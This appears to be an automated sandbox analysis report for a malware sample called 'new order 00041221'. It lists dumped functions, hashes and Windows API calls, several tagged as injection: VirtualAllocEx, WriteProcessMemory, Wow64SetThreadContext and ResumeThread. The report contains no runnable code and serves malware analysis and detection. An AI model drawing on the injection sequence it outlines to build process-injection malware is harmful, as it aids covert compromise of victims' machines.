Source File: 00000001.00000002.1275971377.0000000004C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c80000_new order 00041221.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 986ea0cd89205ad6c8ebc55a3fa624ced483a9cde2dcfc44275985680c5ee24c
Instruction ID: a46191c36e3340839521ab291e83faf9b324d1b4a6d0b880865a4c50c2c8f0f2
Opcode Fuzzy Hash: 986ea0cd89205ad6c8ebc55a3fa624ced483a9cde2dcfc44275985680c5ee24c
Instruction Fuzzy Hash: 97712570A00B058FD724EF2AD45576ABBF2BF88318F008A2DD48AD7A50D775F949CB90

Function 04C87510 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04C87622

Memory Dump Source

Source File: 00000001.00000002.1275971377.0000000004C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c80000_new order 00041221.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 08c82d7a88f46f70ef60c24cd3c75d16aa3451abeef8694a49cc488a86ca50a5
Instruction ID: d8078db08c9184fa58f73694ed594469852d74ac9f2c4901020d7653682e925f
Opcode Fuzzy Hash: 08c82d7a88f46f70ef60c24cd3c75d16aa3451abeef8694a49cc488a86ca50a5
Instruction Fuzzy Hash: 9F41CEB1D003489FDB14DF9AC880ADEBBB6FF48314F24812EE818AB210D771A941CF90

Function 00B564FC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00B565B9

Memory Dump Source

Source File: 00000001.00000002.1270360353.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_new order 00041221.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 729cfd3a787217ed71ac513f3e4d88b4057ce5a050416f01923c772c33b6ae34
Instruction ID: c8f996434127d36fb360db795b1fd8d68cf87af6b8b948b0eae14c2c4219de75
Opcode Fuzzy Hash: 729cfd3a787217ed71ac513f3e4d88b4057ce5a050416f01923c772c33b6ae34
Instruction Fuzzy Hash: 4B41B271C00719CBEB24DFA9C844BDEBBF1BF48304F6081AAD409AB255DB75594ACF50

Function 04C8704C Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04C89BA1

Memory Dump Source

Source File: 00000001.00000002.1275971377.0000000004C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c80000_new order 00041221.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: c29f6489932ea8d4347eeacfbda5a624af7b0232c63826844577a23127c66af5
Instruction ID: 3dd602c294f8ad9fbe291f5206111299388bd98f8b48064353e99466a8c9fadf
Opcode Fuzzy Hash: c29f6489932ea8d4347eeacfbda5a624af7b0232c63826844577a23127c66af5
Instruction Fuzzy Hash: 964138B4A00305CFDB14DF45C488AAABBF6FB88318F24845DE519AB321D374A941CBA0

Function 00B54CF8 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00B565B9

Memory Dump Source

Source File: 00000001.00000002.1270360353.0000000000B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b50000_new order 00041221.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: f205db7d1f36674b53bfab86a4076142db418b2a829305b3b46495d5fbedcf17
Instruction ID: 2241278a629f1f95d06859be5fe1eee423d8d644d2f4e9b65c36cb8de28679ba
Opcode Fuzzy Hash: f205db7d1f36674b53bfab86a4076142db418b2a829305b3b46495d5fbedcf17
Instruction Fuzzy Hash: 2B41E170C0071DCBEB24CFA9C844B9EBBF1BF48304F6081AAD409AB251DB75694ACF90

Function 06B75550 Relevance: 1.6, APIs: 1, Instructions: 73
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06B755E8

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 52cc12ecf49b1387cb93f12820ac67f38e871947e4c8879e17f3e6bfbc7b7221
Instruction ID: aabe6e04d42cef22e64c8e77b85ca6120fadd594964020158db860d3950d1a46
Opcode Fuzzy Hash: 52cc12ecf49b1387cb93f12820ac67f38e871947e4c8879e17f3e6bfbc7b7221
Instruction Fuzzy Hash: 74215A76D003499FDB10CFA9C885BEEBBF1FF48310F14852AE918A7250CB789941CBA0

Function 06B75558 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06B755E8

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 50c197b655c7daf24a95a3dac508b8f83694de8d15d5b9e8e3d2732a1011c61f
Instruction ID: ff0b77f4c0b167756ab58e2811fe8b14b4e5d07314e542fe0102f509bef61261
Opcode Fuzzy Hash: 50c197b655c7daf24a95a3dac508b8f83694de8d15d5b9e8e3d2732a1011c61f
Instruction Fuzzy Hash: 97213B71D003499FDB10DFA9C845BDEBBF5FF48310F108529E918A7240CB799941CBA4

Function 06B75641 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06B756C8

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: fddd6e2fdb56585f8a06332f1c6021d80d9f64e8402e88ba3b0ba377c856214f
Instruction ID: 665c29f4ac88cf241206a3ea36634f8463d602a709d6d96eb10e173e5935007e
Opcode Fuzzy Hash: fddd6e2fdb56585f8a06332f1c6021d80d9f64e8402e88ba3b0ba377c856214f
Instruction Fuzzy Hash: 38214C75C003499FDB10DF99C841BEEBBF1FF48310F108429E518A7250CB359941DBA5

Function 06B753B9 Relevance: 1.6, APIs: 1, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06B7543E

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1ee511f68af215dc54db0860342f7cd3fcb8894a992814aecec78bc12751f308
Instruction ID: c87949742cbaa1a40981bbe3eed757fbafbea8c6d0ceaee755452ea2caff0c6b
Opcode Fuzzy Hash: 1ee511f68af215dc54db0860342f7cd3fcb8894a992814aecec78bc12751f308
Instruction Fuzzy Hash: 2E217C71D003098FDB20DFAAC485BEEBBF0EF48320F148429D559A7240CB789945CFA1

Function 04C82F98 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 04C83027

Memory Dump Source

Source File: 00000001.00000002.1275971377.0000000004C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c80000_new order 00041221.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 278eec3cebc45e1abdc1ba2dc83a0ebc22b4aa10db741b045e298ca0b7222bbb
Instruction ID: c6b5017c7d036f5ab0407a42be071ca4b56d8e1f1ab57bc5a91d9d2afb03d266
Opcode Fuzzy Hash: 278eec3cebc45e1abdc1ba2dc83a0ebc22b4aa10db741b045e298ca0b7222bbb
Instruction Fuzzy Hash: 062105B5C002489FDB11CFAAD884AEEFFF5EB48310F14845AE954A7250C379A950CFA5

Function 06B75648 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06B756C8

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: ff20f28bf5d9cedff5daf311e4c426373151664282520900bc8c78c2394825a3
Instruction ID: 8038ddc29f0e965a00d781f3f3f57ef3b2678642c8f7ccfd92298acccb5f0cc6
Opcode Fuzzy Hash: ff20f28bf5d9cedff5daf311e4c426373151664282520900bc8c78c2394825a3
Instruction Fuzzy Hash: B22128B1C003499FDB10DFAAC841BEEBBF5FF48310F508829E918A7250CB399941DBA4

Function 06B753C0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06B7543E

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d147ea65c0578cc4e8ee26ef4c08c68da3c362ed8635ccded174d685da1a13b3
Instruction ID: f5e2ae2bd94fac09a1328e1286ac33c37e44d2fb44ad58d07fd3e1601f03a483
Opcode Fuzzy Hash: d147ea65c0578cc4e8ee26ef4c08c68da3c362ed8635ccded174d685da1a13b3
Instruction Fuzzy Hash: EF212971D003098FDB20DFAAC4857EEBBF4EF48324F548429D559A7240CB789945CFA5

Function 04C82FA0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 04C83027

Memory Dump Source

Source File: 00000001.00000002.1275971377.0000000004C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c80000_new order 00041221.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c7e1e5eeb8f9961fc4d53ed452786fd0623385ce1f418f5e784076e3f9e92c5e
Instruction ID: 24b462c28893b1b6873f389ed55ed6bef34f8b93ae93cd156a7846514ed2b92c
Opcode Fuzzy Hash: c7e1e5eeb8f9961fc4d53ed452786fd0623385ce1f418f5e784076e3f9e92c5e
Instruction Fuzzy Hash: 6921E4B5D002489FDB10CF9AD884ADEBBF5FB48310F14841AE914A3350C375A940CFA5

Function 06B75490 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06B75506

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b8e10703824ce20db013d74b89388c58374990dcbc1369dbbcfc23b5dec0d8e2
Instruction ID: 87b988f4d12f15b84b394938d45d478e760965342d95ac0d748d0b09ebad54bb
Opcode Fuzzy Hash: b8e10703824ce20db013d74b89388c58374990dcbc1369dbbcfc23b5dec0d8e2
Instruction Fuzzy Hash: 812136768003499FDB20DFAAC845BEEBFF5EB48320F148419E919A7250CB35A940CFA1

Function 04C80460 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,04C80D19,00000800,00000000,00000000), ref: 04C80F2A

Memory Dump Source

Source File: 00000001.00000002.1275971377.0000000004C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c80000_new order 00041221.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 45b1f8c5d8e16b7a799f91df8927b90d6974ce346ac5ed253013606d8b656fb5
Instruction ID: 6d247fc391a3bdeb01c674c334e3801029ac7d83d7af0ad1def551450482765d
Opcode Fuzzy Hash: 45b1f8c5d8e16b7a799f91df8927b90d6974ce346ac5ed253013606d8b656fb5
Instruction Fuzzy Hash: BA1112B6D003498FDB20DF9AC844B9EFBF5EB48314F15842EE919A7240C375A945CFA5

Function 04C80EB8 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,04C80D19,00000800,00000000,00000000), ref: 04C80F2A

Memory Dump Source

Source File: 00000001.00000002.1275971377.0000000004C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c80000_new order 00041221.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: efec684b4645a9cd27a6ae4b57a4870dd83a3444958d5737519efb3fb6c867e5
Instruction ID: a6b8aaf072efaaa7708a08aeab911f9fa6678eca1da5ac9114c80895804b8452
Opcode Fuzzy Hash: efec684b4645a9cd27a6ae4b57a4870dd83a3444958d5737519efb3fb6c867e5
Instruction Fuzzy Hash: 1A1103B6C003498FDB10DF9AC844B9EFBF5AB48310F15842EE559A7240C379A545CFA5

Function 06B75498 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06B75506

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a7ea94f3ae8e3abc346f5fcfec321d08c11aacfe7cab83d7d2d4395cdbcd4702
Instruction ID: 7b9d9717dc69d0a34238781c9c51438fcd8254e885eda501cf83e297344a1b11
Opcode Fuzzy Hash: a7ea94f3ae8e3abc346f5fcfec321d08c11aacfe7cab83d7d2d4395cdbcd4702
Instruction Fuzzy Hash: 3D112972C003499FDB20DFAAC845BDEBFF5EB48320F148419E515A7250CB759541CFA0

Function 06B75309 Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(000000E2), ref: 06B75372

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0cef6eae037aee7135183c18dc4b439a862f05e51550342655f0444eff364b51
Instruction ID: 6601f70e256a4592af4b826cb9d2c78ce3cc094e2edf1da63ef9d69604ac6625
Opcode Fuzzy Hash: 0cef6eae037aee7135183c18dc4b439a862f05e51550342655f0444eff364b51
Instruction Fuzzy Hash: F51158B1C003488FDB20DFAAC8457EEFBF5EB48320F248819D519A7250CB79A941CB94

Function 04DD0F5C Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,04DD15D1,?,?), ref: 04DD1778

Memory Dump Source

Source File: 00000001.00000002.1277443353.0000000004DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4dd0000_new order 00041221.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 3e5417f2372533cb52b3713a2ebe566d65b5b29af34b9ce2cec164194b598732
Instruction ID: 145f4c39e8d8fb9cfaad7b025b2f0135a6522ae48dffaedb7148bdb416ba756b
Opcode Fuzzy Hash: 3e5417f2372533cb52b3713a2ebe566d65b5b29af34b9ce2cec164194b598732
Instruction Fuzzy Hash: 8E1155B5800349DFDB20DF9AC445BEEBBF4EB48320F208429E958A7350D738A945CFA5

Function 06B75310 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(000000E2), ref: 06B75372

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c44c401158d25e4985cbebc3881d04dbc359e20714c333f753ea65717e7e0b40
Instruction ID: 450bd9bbe59d2ad11c178dc413b6f9ba45da613196aead897f96b8fe7ea2d860
Opcode Fuzzy Hash: c44c401158d25e4985cbebc3881d04dbc359e20714c333f753ea65717e7e0b40
Instruction Fuzzy Hash: 2F113AB1D003498FDB24DFAAC8457EEFBF5EB48320F248919D519A7250CB75A941CFA4

Function 04DD171F Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,04DD15D1,?,?), ref: 04DD1778

Memory Dump Source

Source File: 00000001.00000002.1277443353.0000000004DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4dd0000_new order 00041221.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: b751ec4432c6a3e0aeb394ecf4af44e00adc321ca7e0f9ecc37079fa2ed52b70
Instruction ID: 35af0672342e99666b42067f36a761db530777c4ce29ac549ff21d14d9ce786f
Opcode Fuzzy Hash: b751ec4432c6a3e0aeb394ecf4af44e00adc321ca7e0f9ecc37079fa2ed52b70
Instruction Fuzzy Hash: DC1125B5800249CFDB20DF9AC445BDEBBF4EB48320F248419D568A7250C739A545CFA5

Function 04C80C38 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 04C80C9E

Memory Dump Source

Source File: 00000001.00000002.1275971377.0000000004C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c80000_new order 00041221.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 251e89f27d57ed9148022bd05e0ad7c1e04453bc114727d6e2da3a763819143b
Instruction ID: 4f9f86983b3f9ce2b58205feeee8a2fd805c7d7804d52e1f0d57e1f92e899673
Opcode Fuzzy Hash: 251e89f27d57ed9148022bd05e0ad7c1e04453bc114727d6e2da3a763819143b
Instruction Fuzzy Hash: 6E1113B5C003498FDB10DF9AC444BDEFBF5EB88314F21842AD418A7210C375A545CFA5

Function 06B78359 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 06B783BD

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: fa821eb2683271897143b7500ff0f235697ea35142c2fc1a3f9ac5bf51b8f941
Instruction ID: 21eb06648ddbd27a2ef42d3d7326de9e9bfea8b0b5e33440cae99f2787e8910a
Opcode Fuzzy Hash: fa821eb2683271897143b7500ff0f235697ea35142c2fc1a3f9ac5bf51b8f941
Instruction Fuzzy Hash: 5511F5B5800349CFDB20DF9AD445BEEBFF4EB48310F24845AE954A7251C379A944CFA1

Function 06B78360 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 06B783BD

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: e15bbc746b1d4a8b00b4432e7a4b003417283d78b0a622542fb7556c0f485dc2
Instruction ID: 8639d6992da77aafa44151aa25fc8391448a3993b30f1561edf411797aea98cf
Opcode Fuzzy Hash: e15bbc746b1d4a8b00b4432e7a4b003417283d78b0a622542fb7556c0f485dc2
Instruction Fuzzy Hash: CC11D3B58003499FDB20DF9AD845BDEBFF8EB48320F208459E558A7250C379A944CFA5

Function 00AFD53C Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1270080358.0000000000AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_afd000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15a7f7721f0b0396ef3f8ad1919fb3006922180739ab92e866151a9c0182be49
Instruction ID: 1da8cedb2a87b6c826b8c95e8db2ca62b064ab607d302f18d32e84827174eba7
Opcode Fuzzy Hash: 15a7f7721f0b0396ef3f8ad1919fb3006922180739ab92e866151a9c0182be49
Instruction Fuzzy Hash: 812125B1504208EFDB06DF50D9C0B26BF66FB94328F208569FA094F246C336D856DBA2

Function 00B0D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1270131439.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b0d000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc9f040dc86e5e5b3dc7591aac49bd890598a697f35c5a15599809d71c300f1d
Instruction ID: 2d255e2a0da5c181f42ef9dd0945dd1935da74bc7bd337ac67df43344907a3cf
Opcode Fuzzy Hash: bc9f040dc86e5e5b3dc7591aac49bd890598a697f35c5a15599809d71c300f1d
Instruction Fuzzy Hash: 2F21D071A04300EFDB15DF94D9C0B26BFA5FB84314F20C6ADE8494B2D6C336D846CA61

Function 00B0D0EC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1270131439.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b0d000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2078521062526fb03900aaa02125bb6be51b85057bf34df126934a16b528795e
Instruction ID: 13cf97a3bef8621b65fd6d6510b9ef46d70e15fadf80dddbd0b33ed9e9ad70b8
Opcode Fuzzy Hash: 2078521062526fb03900aaa02125bb6be51b85057bf34df126934a16b528795e
Instruction Fuzzy Hash: E921F275604300AFDB04DF54D9C0B16BFA5FB84324F20C5ADD8095B2D6CB36D846CAA1

Function 00AFD537 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1270080358.0000000000AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_afd000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: baffbb49e56faff625a737d83b76f7b1fcde6a4e677d9d540f2c5032ed5d94ff
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: 8711D376504244CFCB06DF50D5C4B26BF72FB94324F24C6A9E9494B256C336D856CBA1

Function 00B0D0E7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1270131439.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b0d000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: 3f36304835ad6f28bc381cbea7c6b367bdf4ed15600a7cecad72aed0e8ca6ff7
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: DF118B75504280DFDB05CF54D9C4B15BFA2FB84324F24C6ADD8494B696C73AD84ACFA1

Function 00B0D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1270131439.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b0d000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: 5988ea630d2f2da1a54ede644e670235a5ce50ffcc4719333fb59179a085859c
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: 3511BB75604280DFCB05CF54C5C0B15BFA2FB84324F24C6EDD8494B696C33AD80ACB61

Function 00AFD759 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1270080358.0000000000AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_afd000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fdc7c5d39231de9a9b7ac4c15f1e157703d27810f8cf7742a3ce83ef45b860a
Instruction ID: c79b12a6d61fcff8ed9d23945e48c4a4f0d2046afd6b1e9ebe30214fd84b1bb9
Opcode Fuzzy Hash: 7fdc7c5d39231de9a9b7ac4c15f1e157703d27810f8cf7742a3ce83ef45b860a
Instruction Fuzzy Hash: 5E01F7311043489EE7216B51CC84B36FFA9DF41321F28C55AFE080F286C3399844CAB2

Function 00AFD758 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1270080358.0000000000AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_afd000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed518e063e6de7286469c3b09b667e9e65fc611ef94fd96b36ee4b8ec90a767e
Instruction ID: 9321e74d2be82ddd36e68d65e2fa597b01ea5d9d2755812009be071b0d312f3f
Opcode Fuzzy Hash: ed518e063e6de7286469c3b09b667e9e65fc611ef94fd96b36ee4b8ec90a767e
Instruction Fuzzy Hash: 42F0A931004344AEE7209B06C884B62FFA8EB50724F18C55AFE480F286C379A844CAA1

Non-executed Functions

Function 04DD7328 Relevance: .9, Instructions: 898COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1277443353.0000000004DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4dd0000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a9ab37cc2172563a02e4b88fb32529bfdb1ff420e15f5e7db069e1e0fbf793b
Instruction ID: 08d21dd69d225738a2948ad03eb3ca05dd16ae40907557892556f3155c94baca
Opcode Fuzzy Hash: 8a9ab37cc2172563a02e4b88fb32529bfdb1ff420e15f5e7db069e1e0fbf793b
